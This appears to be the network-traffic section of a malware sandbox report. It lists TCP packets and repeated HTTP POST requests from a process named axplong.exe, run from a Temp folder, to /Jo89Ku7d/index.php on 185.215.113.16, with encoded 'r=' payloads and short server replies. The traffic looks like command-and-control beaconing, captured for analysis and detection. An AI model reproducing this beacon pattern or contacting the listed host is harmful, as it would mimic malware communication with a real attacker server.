                      Sep 27, 2024 07:03:18.190412045 CEST4978380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:18.194215059 CEST4978380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:18.194827080 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:18.199533939 CEST8049783185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:18.199594021 CEST4978380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:18.199798107 CEST8049784185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:18.199875116 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:18.200252056 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:18.205235004 CEST8049784185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:18.955430031 CEST8049784185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:18.955507994 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.074059963 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.074493885 CEST4978580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.261369944 CEST8049784185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.261642933 CEST8049785185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.261668921 CEST8049784185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.261708021 CEST4978580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.261894941 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.261894941 CEST4978480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.262376070 CEST4978580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.267105103 CEST8049785185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.975303888 CEST8049785185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.975517988 CEST4978580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.978389978 CEST4978580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.978846073 CEST4978680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.983624935 CEST8049785185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.983700991 CEST8049786185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:19.983760118 CEST4978580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.983784914 CEST4978680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.984069109 CEST4978680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:19.988836050 CEST8049786185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:20.697779894 CEST8049786185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:20.697875977 CEST4978680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.805542946 CEST4978680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.805926085 CEST4978780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.810611010 CEST8049786185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:20.810700893 CEST4978680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.810704947 CEST8049787185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:20.810853004 CEST4978780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.811088085 CEST4978780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.815821886 CEST8049787185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:20.819169998 CEST4978780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.823645115 CEST4978880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.828538895 CEST8049788185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:20.829135895 CEST4978880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.829135895 CEST4978880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:20.834022045 CEST8049788185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:21.645081043 CEST8049788185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:21.645272017 CEST4978880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:21.763673067 CEST4978880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:21.763997078 CEST4978980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:21.768810034 CEST8049789185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:21.768943071 CEST4978980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:21.768955946 CEST8049788185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:21.769006014 CEST4978880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:21.769092083 CEST4978980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:21.773924112 CEST8049789185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:22.467437029 CEST8049789185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:22.467884064 CEST4978980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:22.488420010 CEST4978980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:22.488708019 CEST4979080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:22.493465900 CEST8049789185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:22.493525028 CEST8049790185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:22.493577003 CEST4978980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:22.493634939 CEST4979080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:22.493982077 CEST4979080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:22.498742104 CEST8049790185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:23.207526922 CEST8049790185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:23.207721949 CEST4979080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:23.321490049 CEST4979080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:23.321882010 CEST4979180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:23.326728106 CEST8049791185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:23.326808929 CEST4979180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:23.326956034 CEST4979180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:23.327193975 CEST8049790185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:23.327290058 CEST4979080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:23.331870079 CEST8049791185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:24.034288883 CEST8049791185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:24.034445047 CEST4979180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:24.038022041 CEST4979180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:24.038535118 CEST4979280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:24.043040037 CEST8049791185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:24.043104887 CEST4979180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:24.043418884 CEST8049792185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:24.043489933 CEST4979280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:24.043750048 CEST4979280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:24.048504114 CEST8049792185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:24.932769060 CEST8049792185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:24.932952881 CEST4979280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.041990042 CEST4979280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.042223930 CEST4979380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.046986103 CEST8049792185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:25.047391891 CEST8049793185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:25.047451973 CEST4979280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.047517061 CEST4979380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.047739029 CEST4979380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.052479982 CEST8049793185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:25.774473906 CEST8049793185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:25.776180983 CEST4979380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.778610945 CEST4979380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.778907061 CEST4979480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.783699989 CEST8049793185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:25.784075975 CEST8049794185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:25.784142017 CEST4979380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.784172058 CEST4979480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.784295082 CEST4979480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:25.789419889 CEST8049794185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:26.516284943 CEST8049794185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:26.516350985 CEST4979480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:26.640825033 CEST4979480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:26.641119003 CEST4979580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:26.645921946 CEST8049794185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:26.645977020 CEST4979480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:26.646059990 CEST8049795185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:26.646353960 CEST4979580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:26.647849083 CEST4979580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:26.652620077 CEST8049795185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:27.350248098 CEST8049795185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:27.350318909 CEST4979580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.353156090 CEST4979580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.353933096 CEST4979680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.358119011 CEST8049795185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:27.358180046 CEST4979580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.358725071 CEST8049796185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:27.358810902 CEST4979680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.359035015 CEST4979680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.363895893 CEST8049796185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:27.365427017 CEST4979680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.477763891 CEST4979780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.482688904 CEST8049797185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:27.484196901 CEST4979780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.484380007 CEST4979780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:27.489168882 CEST8049797185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:28.183264017 CEST8049797185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:28.183346987 CEST4979780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:28.186784983 CEST4979780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:28.187220097 CEST4979880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:28.191708088 CEST8049797185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:28.191778898 CEST4979780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:28.191972971 CEST8049798185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:28.192244053 CEST4979880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:28.192547083 CEST4979880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:28.197345972 CEST8049798185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:28.900022030 CEST8049798185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:28.900291920 CEST4979880192.168.2.8185.215.113.16

                      HTTP Request Dependency Graph

                      • 185.215.113.16

                      HTTP Packets

                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      0192.168.2.849711185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:04.652661085 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:05.371542931 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:05 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:05.431461096 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:05.663382053 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:05 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      1192.168.2.849712185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:05.903161049 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:06.568217039 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:06 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:06.569134951 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:06.797986984 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:06 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      2192.168.2.849713185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:06.918184996 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:07.612451077 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:07 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:07.613982916 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:07.836779118 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:07 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      3192.168.2.849714185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:07.949237108 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:08.647757053 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:08 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:08.649630070 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:08.873267889 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:08 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      4192.168.2.849715185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:08.981189966 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:09.708692074 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:09 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:09.709614038 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:09.943667889 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:09 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      5192.168.2.849716185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:10.064166069 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:10.771675110 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:10 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:10.772545099 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:11.004168034 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:10 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      6192.168.2.849717185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:11.121480942 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:11.815941095 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:11 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:11.816812992 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:12.040062904 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:11 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


